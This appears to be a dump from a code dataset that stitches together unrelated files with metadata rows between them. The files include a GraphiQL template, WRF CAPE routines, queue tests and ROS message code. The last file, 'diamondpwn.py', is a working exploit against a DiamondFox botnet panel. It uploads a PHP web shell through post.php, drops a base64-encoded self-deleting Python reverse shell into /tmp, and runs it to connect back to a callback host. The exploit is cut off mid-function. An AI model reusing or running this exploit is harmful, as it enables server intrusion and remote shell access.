<script src="//cdn.jsdelivr.net/npm/unfetch@4.1.0/dist/unfetch.umd.js"></script>
<script src="//cdn.jsdelivr.net/npm/react@16.13.1/umd/react.production.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/react-dom@16.13.1/umd/react-dom.production.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/graphiql@{{graphiql_version}}/graphiql.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/subscriptions-transport-ws@0.9.16/browser/client.js"></script>
<script src="//cdn.jsdelivr.net/npm/graphiql-subscriptions-fetcher@0.0.2/browser/client.js"></script>
</head>
<body>
<div id="graphiql">Loading...</div>
<script>
// Collect the URL parameters
var parameters = {};
window.location.search.substr(1).split('&').forEach(function (entry) {
var eq = entry.indexOf('=');
if (eq >= 0) {
parameters[decodeURIComponent(entry.slice(0, eq))] =
decodeURIComponent(entry.slice(eq + 1));
}
});
// Produce a Location query string from a parameter object.
function locationQuery(params) {
return '?' + Object.keys(params).filter(function (key) {
return Boolean(params[key]);
}).map(function (key) {
return encodeURIComponent(key) + '=' +
encodeURIComponent(params[key]);
}).join('&');
}
// Derive a fetch URL from the current URL, sans the GraphQL parameters.
var graphqlParamNames = {
query: true,
variables: true,
operationName: true
};
var otherParams = {};
for (var k in parameters) {
if (parameters.hasOwnProperty(k) && graphqlParamNames[k] !== true) {
otherParams[k] = parameters[k];
}
}
// Configure the subscription client
let subscriptionsFetcher = null;
var fetchURL = locationQuery(otherParams);
// Defines a GraphQL fetcher using the fetch API.
function graphQLFetcher(graphQLParams, opts) {
return fetch(fetchURL, {
method: 'post',
headers: Object.assign(
{
'Accept': 'application/json',
'Content-Type': 'application/json'
},
opts && opts.headers,
),
body: JSON.stringify(graphQLParams),
credentials: 'include',
}).then(function (response) {
return response.json();
});
}
// When the query and variables string is edited, update the URL bar so
// that it can be easily shared.
function onEditQuery(newQuery) {
parameters.query = newQuery;
updateURL();
}
function onEditVariables(newVariables) {
parameters.variables = newVariables;
updateURL();
}
function onEditHeaders(newHeaders) {
parameters.headers = newHeaders;
updateURL();
}
function onEditOperationName(newOperationName) {
parameters.operationName = newOperationName;
updateURL();
}
function updateURL() {
history.replaceState(null, null, locationQuery(parameters));
}
// Render <GraphiQL /> into the body.
ReactDOM.render(
React.createElement(GraphiQL, {
fetcher: subscriptionsFetcher || graphQLFetcher,
onEditQuery: onEditQuery,
onEditVariables: onEditVariables,
onEditHeaders: onEditHeaders,
onEditOperationName: onEditOperationName,
query: {{ params.query|tojson }},
response: {{ result|tojson }},
variables: {{ params.variables|tojson }},
operationName: {{ params.operation_name|tojson }},
headers: {{params.headers or ''|tojson}},
headerEditorEnabled: true,
shouldPersistHeaders: true,
}),
document.getElementById('graphiql')
);
</script>
</body>
</html>"""
| 204.835821 | 22,834 | 0.909429 | 1,267 | 27,448 | 19.696922 | 0.75217 | 0.003526 | 0.004488 | 0.00545 | 0.015427 | 0.014385 | 0.013343 | 0.013343 | 0.010498 | 0.003767 | 0 | 0.130678 | 0.03676 | 27,448 | 133 | 22,835 | 206.37594 | 0.81323 | 0.000729 | 0 | 0.046512 | 0 | 0.077519 | 0.998942 | 0.884618 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0.03876 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
cbdfcab58692651fca2db33522305c9f80c8182f | 159 | py | Python | bone-age/src/bsmu/bone_age/app/__main__.py | IvanKosik/vision | 74603d4b727e6d993b562eb4656952e29173323e | [
"BSD-3-Clause"
] | 2 | 2019-10-15T11:34:17.000Z | 2021-02-03T10:46:07.000Z | bone-age/src/bsmu/bone_age/app/__main__.py | IvanKosik/vision | 74603d4b727e6d993b562eb4656952e29173323e | [
"BSD-3-Clause"
] | null | null | null | bone-age/src/bsmu/bone_age/app/__main__.py | IvanKosik/vision | 74603d4b727e6d993b562eb4656952e29173323e | [
"BSD-3-Clause"
] | null | null | null | """Module that allows the user to run `python -m bsmu.bone_age.app`."""
from bsmu.bone_age.app.main import run_app
if __name__ == '__main__':
run_app()
| 19.875 | 71 | 0.698113 | 27 | 159 | 3.666667 | 0.666667 | 0.161616 | 0.222222 | 0.282828 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.163522 | 159 | 7 | 72 | 22.714286 | 0.744361 | 0.408805 | 0 | 0 | 0 | 0 | 0.090909 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
1dc4404a65d524a410bcf6734cda56c7cba90725 | 181 | py | Python | CursoIntensivoPython/curso-intensivo-python-master/capitulo_02/exercicios/nomes.py | SweydAbdul/estudos-python | b052708d0566a0afb9a1c04d035467d45f820879 | [
"MIT"
] | null | null | null | CursoIntensivoPython/curso-intensivo-python-master/capitulo_02/exercicios/nomes.py | SweydAbdul/estudos-python | b052708d0566a0afb9a1c04d035467d45f820879 | [
"MIT"
] | null | null | null | CursoIntensivoPython/curso-intensivo-python-master/capitulo_02/exercicios/nomes.py | SweydAbdul/estudos-python | b052708d0566a0afb9a1c04d035467d45f820879 | [
"MIT"
] | null | null | null | nome = 'William Rodrigues'
print(f'Com letras minúsculas: {nome.lower()}')
print(f'Com letras maiúsculas: {nome.upper()}')
print(f'Com a primeira letra maiúscula: {nome.title()}')
| 30.166667 | 56 | 0.712707 | 26 | 181 | 4.961538 | 0.615385 | 0.139535 | 0.209302 | 0.232558 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.104972 | 181 | 5 | 57 | 36.2 | 0.796296 | 0 | 0 | 0 | 0 | 0 | 0.756906 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.75 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
1df7463d18739b01f8ae9b8506c0ca213c7c2b94 | 208 | py | Python | torch_geometric_signed_directed/__init__.py | huangjunjie-cs/pytorch_geometric_signed_directed-1 | 24b121ff4325d201b30811975bcb6f104a39dc35 | [
"MIT"
] | null | null | null | torch_geometric_signed_directed/__init__.py | huangjunjie-cs/pytorch_geometric_signed_directed-1 | 24b121ff4325d201b30811975bcb6f104a39dc35 | [
"MIT"
] | null | null | null | torch_geometric_signed_directed/__init__.py | huangjunjie-cs/pytorch_geometric_signed_directed-1 | 24b121ff4325d201b30811975bcb6f104a39dc35 | [
"MIT"
] | null | null | null | from torch_geometric_signed_directed.nn import *
from torch_geometric_signed_directed.data import *
from torch_geometric_signed_directed.utils import *
__all__ = [
"torch_geometric",
"__version__",
] | 26 | 51 | 0.802885 | 25 | 208 | 5.96 | 0.44 | 0.375839 | 0.362416 | 0.483221 | 0.724832 | 0.510067 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 208 | 8 | 52 | 26 | 0.818681 | 0 | 0 | 0 | 0 | 0 | 0.124402 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.428571 | 0 | 0.428571 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
3804c8579b1078b89cbd844dc88b8d2aaa720cee | 1,479 | py | Python | tests/test_queues.py | johnnoone/aiodisque | afb6851ac907783a69b4b2e5c09456ae48a1faba | [
"MIT"
] | null | null | null | tests/test_queues.py | johnnoone/aiodisque | afb6851ac907783a69b4b2e5c09456ae48a1faba | [
"MIT"
] | null | null | null | tests/test_queues.py | johnnoone/aiodisque | afb6851ac907783a69b4b2e5c09456ae48a1faba | [
"MIT"
] | null | null | null | import pytest
from aiodisque import Disque
from aiodisque.queues import JobsQueue
@pytest.mark.asyncio
async def test_get(node, event_loop):
client = Disque(node.port, loop=event_loop)
queue = JobsQueue('q', client, loop=event_loop)
await client.addjob('q', 'job', 5000, replicate=1, retry=0)
job = await queue.get()
assert hasattr(job, 'id')
assert hasattr(job, 'body')
assert hasattr(job, 'body')
assert hasattr(job, 'queue')
assert not hasattr(job, 'nacks')
assert not hasattr(job, 'additional_deliveries')
@pytest.mark.asyncio
async def test_get_nowait(node, event_loop):
client = Disque(node.port, loop=event_loop)
queue = JobsQueue('q', client, loop=event_loop)
with pytest.raises(NotImplementedError):
queue.get_nowait()
@pytest.mark.asyncio
async def test_put(node, event_loop):
client = Disque(node.port, loop=event_loop)
queue = JobsQueue('q', client, loop=event_loop)
await queue.put('job')
job = await client.getjob('q')
assert hasattr(job, 'id')
assert hasattr(job, 'body')
assert hasattr(job, 'body')
assert hasattr(job, 'queue')
assert not hasattr(job, 'nacks')
assert not hasattr(job, 'additional_deliveries')
@pytest.mark.asyncio
async def test_put_nowait(node, event_loop):
client = Disque(node.port, loop=event_loop)
queue = JobsQueue('q', client, loop=event_loop)
with pytest.raises(NotImplementedError):
queue.put_nowait('job')
| 29.58 | 63 | 0.697769 | 201 | 1,479 | 5.024876 | 0.208955 | 0.106931 | 0.10297 | 0.087129 | 0.825743 | 0.825743 | 0.825743 | 0.756436 | 0.756436 | 0.756436 | 0 | 0.004914 | 0.174442 | 1,479 | 49 | 64 | 30.183673 | 0.822277 | 0 | 0 | 0.666667 | 0 | 0 | 0.065585 | 0.028398 | 0 | 0 | 0 | 0 | 0.307692 | 1 | 0 | false | 0 | 0.076923 | 0 | 0.076923 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
382e106276e9be7114e099ce4bb8c7a7c95a2b47 | 340 | py | Python | datasets/plugins/__init__.py | talebzeghmi/datasets | db04bdcdbc7b782eae54991571181badea5e4c7a | [
"Apache-2.0"
] | null | null | null | datasets/plugins/__init__.py | talebzeghmi/datasets | db04bdcdbc7b782eae54991571181badea5e4c7a | [
"Apache-2.0"
] | null | null | null | datasets/plugins/__init__.py | talebzeghmi/datasets | db04bdcdbc7b782eae54991571181badea5e4c7a | [
"Apache-2.0"
] | null | null | null | # isort: skip_file
# flake8: noqa: F401
from datasets.plugins.executors.metaflow_executor import MetaflowExecutor
from datasets.plugins.batch.batch_dataset_plugin import BatchDatasetPlugin
from datasets.plugins.batch.batch_flow_dataset_plugin import BatchFlowDatasetPlugin
from datasets.plugins.register_plugins import register
register()
| 37.777778 | 83 | 0.873529 | 41 | 340 | 7.04878 | 0.512195 | 0.16609 | 0.262976 | 0.16609 | 0.200692 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012698 | 0.073529 | 340 | 8 | 84 | 42.5 | 0.904762 | 0.102941 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.8 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
697ca0d1f3efb545a4526819889ead2a821a811a | 8,940 | py | Python | src/wrf/g_cape.py | khallock/wrf-python | 9c5825c101722e7eddece2ca13cc8e9d9f96a21e | [
"Apache-2.0"
] | 1 | 2018-10-30T18:06:26.000Z | 2018-10-30T18:06:26.000Z | src/wrf/g_cape.py | mostamndi/wrf-python | 3806bcdd01b31fa67da980eafefa0d1245faf6a6 | [
"Apache-2.0"
] | null | null | null | src/wrf/g_cape.py | mostamndi/wrf-python | 3806bcdd01b31fa67da980eafefa0d1245faf6a6 | [
"Apache-2.0"
] | null | null | null | from __future__ import (absolute_import, division, print_function)
import numpy as np
import numpy.ma as ma
from .extension import _tk, _cape
from .destag import destagger
from .constants import default_fill, Constants, ConversionFactors
from .util import extract_vars
from .metadecorators import set_cape_metadata
@set_cape_metadata(is2d=True)
def get_2dcape(wrfin, timeidx=0, method="cat", squeeze=True, cache=None,
meta=True, _key=None, missing=default_fill(np.float64)):
"""Return the 2d fields of MCAPE, MCIN, LCL, and LFC.
The leftmost dimension of the returned array represents four different
quantities:
- return_val[0,...] will contain MCAPE [J kg-1]
- return_val[1,...] will contain MCIN [J kg-1]
- return_val[2,...] will contain LCL [m]
- return_val[3,...] will contain LFC [m]
This functions extracts the necessary variables from the NetCDF file
object in order to perform the calculation.
Args:
wrfin (:class:`netCDF4.Dataset`, :class:`Nio.NioFile`, or an \
iterable): WRF-ARW NetCDF
data as a :class:`netCDF4.Dataset`, :class:`Nio.NioFile`
or an iterable sequence of the aforementioned types.
timeidx (:obj:`int` or :data:`wrf.ALL_TIMES`, optional): The
desired time index. This value can be a positive integer,
negative integer, or
:data:`wrf.ALL_TIMES` (an alias for None) to return
all times in the file or sequence. The default is 0.
method (:obj:`str`, optional): The aggregation method to use for
sequences. Must be either 'cat' or 'join'.
'cat' combines the data along the Time dimension.
'join' creates a new dimension for the file index.
The default is 'cat'.
squeeze (:obj:`bool`, optional): Set to False to prevent dimensions
with a size of 1 from being automatically removed from the shape
of the output. Default is True.
cache (:obj:`dict`, optional): A dictionary of (varname, ndarray)
that can be used to supply pre-extracted NetCDF variables to the
computational routines. It is primarily used for internal
purposes, but can also be used to improve performance by
eliminating the need to repeatedly extract the same variables
used in multiple diagnostics calculations, particularly when using
large sequences of files.
Default is None.
meta (:obj:`bool`, optional): Set to False to disable metadata and
return :class:`numpy.ndarray` instead of
:class:`xarray.DataArray`. Default is True.
_key (:obj:`int`, optional): A caching key. This is used for internal
purposes only. Default is None.
missing (:obj:`float`): The fill value to use for the output.
Default is :data:`wrf.default_fill(np.float64)`.
Returns:
:class:`xarray.DataArray` or :class:`numpy.ndarray`: The
cape, cin, lcl, and lfc values as an array whose
leftmost dimension is 4 (0=CAPE, 1=CIN, 2=LCL, 3=LFC).
If xarray is enabled and the *meta* parameter is True, then the result
will be a :class:`xarray.DataArray` object. Otherwise, the result will
be a :class:`numpy.ndarray` object with no metadata.
"""
varnames = ("T", "P", "PB", "QVAPOR", "PH","PHB", "HGT", "PSFC")
ncvars = extract_vars(wrfin, timeidx, varnames, method, squeeze, cache,
meta=False, _key=_key)
t = ncvars["T"]
p = ncvars["P"]
pb = ncvars["PB"]
qv = ncvars["QVAPOR"]
ph = ncvars["PH"]
phb = ncvars["PHB"]
ter = ncvars["HGT"]
psfc = ncvars["PSFC"]
full_t = t + Constants.T_BASE
full_p = p + pb
tk = _tk(full_p, full_t)
geopt = ph + phb
geopt_unstag = destagger(geopt, -3)
z = geopt_unstag/Constants.G
# Convert pressure to hPa
p_hpa = ConversionFactors.PA_TO_HPA * full_p
psfc_hpa = ConversionFactors.PA_TO_HPA * psfc
i3dflag = 0
ter_follow = 1
cape_cin = _cape(p_hpa, tk, qv, z, ter, psfc_hpa, missing, i3dflag,
ter_follow)
left_dims = cape_cin.shape[1:-3]
right_dims = cape_cin.shape[-2:]
resdim = (4,) + left_dims + right_dims
# Make a new output array for the result
result = np.zeros(resdim, cape_cin.dtype)
# Cape 2D output is not flipped in the vertical, so index from the
# end
result[0,...,:,:] = cape_cin[0,...,-1,:,:]
result[1,...,:,:] = cape_cin[1,...,-1,:,:]
result[2,...,:,:] = cape_cin[1,...,-2,:,:]
result[3,...,:,:] = cape_cin[1,...,-3,:,:]
return ma.masked_values(result, missing)
@set_cape_metadata(is2d=False)
def get_3dcape(wrfin, timeidx=0, method="cat",
squeeze=True, cache=None, meta=True,
_key=None, missing=default_fill(np.float64)):
"""Return the three-dimensional CAPE and CIN.
The leftmost dimension of the returned array represents two different
quantities:
- return_val[0,...] will contain CAPE [J kg-1]
- return_val[1,...] will contain CIN [J kg-1]
This functions extracts the necessary variables from the NetCDF file
object in order to perform the calculation.
Args:
wrfin (:class:`netCDF4.Dataset`, :class:`Nio.NioFile`, or an \
iterable): WRF-ARW NetCDF
data as a :class:`netCDF4.Dataset`, :class:`Nio.NioFile`
or an iterable sequence of the aforementioned types.
timeidx (:obj:`int` or :data:`wrf.ALL_TIMES`, optional): The
desired time index. This value can be a positive integer,
negative integer, or
:data:`wrf.ALL_TIMES` (an alias for None) to return
all times in the file or sequence. The default is 0.
method (:obj:`str`, optional): The aggregation method to use for
sequences. Must be either 'cat' or 'join'.
'cat' combines the data along the Time dimension.
'join' creates a new dimension for the file index.
The default is 'cat'.
squeeze (:obj:`bool`, optional): Set to False to prevent dimensions
with a size of 1 from being automatically removed from the shape
of the output. Default is True.
cache (:obj:`dict`, optional): A dictionary of (varname, ndarray)
that can be used to supply pre-extracted NetCDF variables to the
computational routines. It is primarily used for internal
purposes, but can also be used to improve performance by
eliminating the need to repeatedly extract the same variables
used in multiple diagnostics calculations, particularly when using
large sequences of files.
Default is None.
meta (:obj:`bool`, optional): Set to False to disable metadata and
return :class:`numpy.ndarray` instead of
:class:`xarray.DataArray`. Default is True.
_key (:obj:`int`, optional): A caching key. This is used for internal
purposes only. Default is None.
missing (:obj:`float`): The fill value to use for the output.
Default is :data:`wrf.default_fill(np.float64)`.
Returns:
:class:`xarray.DataArray` or :class:`numpy.ndarray`: The
CAPE and CIN as an array whose leftmost dimension is 2 (0=CAPE, 1=CIN).
If xarray is enabled and the *meta* parameter is True, then the result
will be a :class:`xarray.DataArray` object. Otherwise, the result will
be a :class:`numpy.ndarray` object with no metadata.
"""
varnames = ("T", "P", "PB", "QVAPOR", "PH", "PHB", "HGT", "PSFC")
ncvars = extract_vars(wrfin, timeidx, varnames, method, squeeze, cache,
meta=False, _key=_key)
t = ncvars["T"]
p = ncvars["P"]
pb = ncvars["PB"]
qv = ncvars["QVAPOR"]
ph = ncvars["PH"]
phb = ncvars["PHB"]
ter = ncvars["HGT"]
psfc = ncvars["PSFC"]
full_t = t + Constants.T_BASE
full_p = p + pb
tk = _tk(full_p, full_t)
geopt = ph + phb
geopt_unstag = destagger(geopt, -3)
z = geopt_unstag/Constants.G
# Convert pressure to hPa
p_hpa = ConversionFactors.PA_TO_HPA * full_p
psfc_hpa = ConversionFactors.PA_TO_HPA * psfc
i3dflag = 1
ter_follow = 1
cape_cin = _cape(p_hpa, tk, qv, z, ter, psfc_hpa, missing, i3dflag,
ter_follow)
return ma.masked_values(cape_cin, missing)
| 39.210526 | 80 | 0.600895 | 1,179 | 8,940 | 4.473282 | 0.195081 | 0.023891 | 0.01934 | 0.015169 | 0.845468 | 0.843003 | 0.843003 | 0.81532 | 0.787637 | 0.787637 | 0 | 0.010863 | 0.299776 | 8,940 | 228 | 81 | 39.210526 | 0.831629 | 0.623154 | 0 | 0.619718 | 0 | 0 | 0.03281 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028169 | false | 0 | 0.112676 | 0 | 0.169014 | 0.014085 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
69972a915cdf9c88c71fa8302c0e2d231ece3ffc | 1,020 | py | Python | alpyro_msgs/control_msgs/pointheadactionresult.py | rho2/alpyro_msgs | b5a680976c40c83df70d61bb2db1de32a1cde8d3 | [
"MIT"
] | 1 | 2020-12-13T13:07:10.000Z | 2020-12-13T13:07:10.000Z | alpyro_msgs/control_msgs/pointheadactionresult.py | rho2/alpyro_msgs | b5a680976c40c83df70d61bb2db1de32a1cde8d3 | [
"MIT"
] | null | null | null | alpyro_msgs/control_msgs/pointheadactionresult.py | rho2/alpyro_msgs | b5a680976c40c83df70d61bb2db1de32a1cde8d3 | [
"MIT"
] | null | null | null | from typing import Final
from alpyro_msgs import RosMessage
from alpyro_msgs.actionlib_msgs.goalstatus import GoalStatus
from alpyro_msgs.control_msgs.pointheadresult import PointHeadResult
from alpyro_msgs.std_msgs.header import Header
class PointHeadActionResult(RosMessage):
__msg_typ__ = "control_msgs/PointHeadActionResult"
__msg_def__ = "c3RkX21zZ3MvSGVhZGVyIGhlYWRlcgogIHVpbnQzMiBzZXEKICB0aW1lIHN0YW1wCiAgc3RyaW5nIGZyYW1lX2lkCmFjdGlvbmxpYl9tc2dzL0dvYWxTdGF0dXMgc3RhdHVzCiAgdWludDggUEVORElORz0wCiAgdWludDggQUNUSVZFPTEKICB1aW50OCBQUkVFTVBURUQ9MgogIHVpbnQ4IFNVQ0NFRURFRD0zCiAgdWludDggQUJPUlRFRD00CiAgdWludDggUkVKRUNURUQ9NQogIHVpbnQ4IFBSRUVNUFRJTkc9NgogIHVpbnQ4IFJFQ0FMTElORz03CiAgdWludDggUkVDQUxMRUQ9OAogIHVpbnQ4IExPU1Q9OQogIGFjdGlvbmxpYl9tc2dzL0dvYWxJRCBnb2FsX2lkCiAgICB0aW1lIHN0YW1wCiAgICBzdHJpbmcgaWQKICB1aW50OCBzdGF0dXMKICBzdHJpbmcgdGV4dApjb250cm9sX21zZ3MvUG9pbnRIZWFkUmVzdWx0IHJlc3VsdAoK"
__md5_sum__ = "1eb06eeff08fa7ea874431638cb52332"
header: Header
status: GoalStatus
result: PointHeadResult
| 63.75 | 570 | 0.927451 | 53 | 1,020 | 17.415094 | 0.45283 | 0.043337 | 0.060672 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085744 | 0.05098 | 1,020 | 15 | 571 | 68 | 0.867769 | 0 | 0 | 0 | 0 | 0 | 0.605882 | 0.605882 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.416667 | 0 | 1 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
69a849b0b0d31685236e4b7817251ac307df64d4 | 4,391 | py | Python | Vault7/Xiphos/DiamondFox/diamondpwn.py | dendisuhubdy/grokmachine | 120a21a25c2730ed356739231ec8b99fc0575c8b | [
"BSD-3-Clause"
] | 46 | 2017-05-15T11:15:08.000Z | 2018-07-02T03:32:52.000Z | Vault7/Xiphos/DiamondFox/diamondpwn.py | dendisuhubdy/grokmachine | 120a21a25c2730ed356739231ec8b99fc0575c8b | [
"BSD-3-Clause"
] | null | null | null | Vault7/Xiphos/DiamondFox/diamondpwn.py | dendisuhubdy/grokmachine | 120a21a25c2730ed356739231ec8b99fc0575c8b | [
"BSD-3-Clause"
] | 24 | 2017-05-17T03:26:17.000Z | 2018-07-09T07:00:50.000Z | #!/usr/bin/python2
# coding: utf-8
import requests
import sys
clear = "\x1b[0m"
blue = "\x1b[1;34m"
cyan = "\x1b[1;36m"
red = "\x1b[1;31m"
green = "\x1b[1;32m"
def upload_shell(base_url):
files={'upload1':('file.log.php', "<?php @assert(filter_input(0,woot,516)); ?>")}
data={'slots': '1'}
url = base_url + "/post.php"
sys.stdout.write(cyan+"{*} Attempting shell upload..."+clear)
sys.stdout.flush()
try:
requests.post(url=url, files=files, data=data)
except Exception, e:
sys.stdout.write(red+" [failed]\n"+clear)
sys.stdout.flush()
sys.exit("Stack Trace: \n%s" %(str(e)))
try:
output = execute_php(base_url=base_url, php="print md5('pwned');")
except Exception, e:
sys.stdout.write(red+" [failed]\n"+clear)
sys.stdout.flush()
sys.exit("Stack Trace: \n%s" %(str(e)))
if "5e93de3efa544e85dcd6311732d28f95" in output:
sys.stdout.write(green+" [success]\n"+clear)
def upload_backconnect(base_url):
sys.stdout.write(cyan+"{*} Uploading Backconnect..."+clear)
encoded_shell = "IyEvdXNyL2Jpbi9weXRob24yCiMgY29kaW5nOiB1dGYtOAojIFNlbGYgRGVzdHJ1Y3RpbmcsIERhZW1vbmluZyBSZXZlcnNlIFBUWS4KIyBybSdzIHNlbGYgb24gcXVpdCA6MwojIFRPRE86CiMgMTogQWRkIGNyeXB0bwojIDI6IEFkZCBwcm9jbmFtZSBzcG9vZgppbXBvcnQgb3MKaW1wb3J0IHN5cwppbXBvcnQgcHR5CmltcG9ydCBzb2NrZXQKaW1wb3J0IGNvbW1hbmRzCgpzaGVsbG1zZyA9ICJceDFiWzBtXHgxYlsxOzM2bUdvdCByb290IHlldD9ceDFiWzBtXHJcbiIgIyBuZWVkeiBhc2NpaQoKZGVmIHF1aXR0ZXIobXNnKToKICAgIHByaW50IG1zZwogICAgb3MudW5saW5rKG9zLnBhdGguYWJzcGF0aChfX2ZpbGVfXykpICMgdW5jb21tZW50IGZvciBnb2dvc2VsZmRlc3RydWN0CiAgICBzeXMuZXhpdCgwKQoKZGVmIHJldmVyc2UoY2Job3N0LCBjYnBvcnQpOgogICAgdHJ5OgogICAgICAgIHVuYW1lID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJ1bmFtZSAtYSIpCiAgICAgICAgaWQgPSBjb21tYW5kcy5nZXRvdXRwdXQoImlkIikKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcXVpdHRlcignZ3JhYiB1bmFtZS9pZCBmYWlsJykKICAgIHRyeToKICAgICAgICBzb2NrID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQogICAgICAgIHNvY2suY29ubmVjdCgoY2Job3N0LCBpbnQoY2Jwb3J0KSkpCiAgICBleGNlcHQ6CiAgICAgICAgcXVpdHRlcignYWJvcnQ6IGNvbm5lY3Rpb24gZmFpbCcpCiAgICB0cnk6CiAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIoc29jay5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDIpCiAgICBleGNlcHQ6CiAgICAgICAgcXVpdHRlcignYWJvcnQ6IGR1cDIgZmFpbCcpCiAgICB0cnk6CiAgICAgICAgb3MucHV0ZW52KCJISVNURklMRSIsICIvZGV2L251bGwiKQogICAgICAgIG9zLnB1dGVudigiUEFUSCIsICcvdXNyL2xvY2FsL3NiaW46L3Vzci9zYmluOi9zYmluOi9iaW46L3Vzci9sb2NhbC9iaW46L3Vzci9iaW4nKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBxdWl0dGVyKCdhYm9ydDogcHV0ZW52IGZhaWwnKQogICAgdHJ5OgogICAgICAgIHNvY2suc2VuZChzaGVsbG1zZykKICAgICAgICBzb2NrLnNlbmQoJ1x4MWJbMTszMm0nK3VuYW1lKyJcclxuIitpZCsiXHgxYlswbVxyXG4iKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBxdWl0dGVyKCdzZW5kIGlkL3VuYW1lIGZ1Y2t1cCcpCiAgICB0cnk6CiAgICAgICAgcHR5LnNwYXduKCcvYmluL2Jhc2gnKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBxdWl0dGVyKCdhYm9ydDogcHR5IHNwYXduIGZhaWwnKQogICAgcXVpdHRlcigncXVpdHRpbmcsIGNsZWFudXAnKQoKZGVmIG1haW4oYXJncyk6CiAgICBpZiBvcy5mb3JrKCkgPiAwOiAKICAgICAgICBvcy5fZXhpdCgwKQogICAgcmV2ZXJzZShzeXMuYXJndlsxXSwgc3lzLmFyZ3ZbMl0pCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbihzeXMuYXJndikK"
cbdrop = """$hack = "%s";$x = fopen("/tmp/x", "w+");fwrite($x, base64_decode($hack));fclose($x);echo "dongs";""" %(encoded_shell)
lol = execute_php(base_url, php=php_encoder(cbdrop))
if "dongs" in lol:
sys.stdout.write(green+" [done]\n"+clear)
def execute_php(base_url, php):
shell_url = base_url + "/logs/dump/file.log.php"
data={'woot': php}
r = requests.post(url=shell_url, data=data)
return r.text
def php_encoder(php):
encoded = php.encode('base64')
encoded = encoded.replace("\n", "")
encoded = encoded.strip()
code = "eval(base64_decode('%s'));" %(encoded)
return code
def pop_reverse(base_url, cb_host, cb_port):
upload_shell(base_url)
upload_backconnect(base_url)
print "%s{*} Sending backconnect to %s%s:%s%s" %(cyan, green, cb_host, cb_port, clear)
execute_php(base_url, php="system('python /tmp/x %s %s');" %(cb_host, cb_port))
print "%s{$} bl1ngbl1ng!!%s" %(blue, clear)
def main(args):
if len(args) != 4:
sys.exit("use: %s http://bot.net/Panel hacke.rs 31337" %(args[0]))
